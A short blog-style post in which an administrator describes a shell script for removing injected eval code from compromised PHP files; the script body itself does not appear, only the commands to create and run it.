While working on a client’s issue, I came across a situation where I have to replace the hack/eval code from many PHP files and hence thought of writing a small shell script that will remove the hack/eval code from all the infected PHP files .
And I came up with the below simple shell script and thought of sharing it here 🙂 so that if anyone came across the same situation then he/she can use that script.
root@server[#] vi hackreplace.sh

save and quit.
You can execute the hackreplace.sh file as
root@server[#] sh hackreplace.sh
Note :: Just change the hack code in the “hacked” variable as per your requirement.
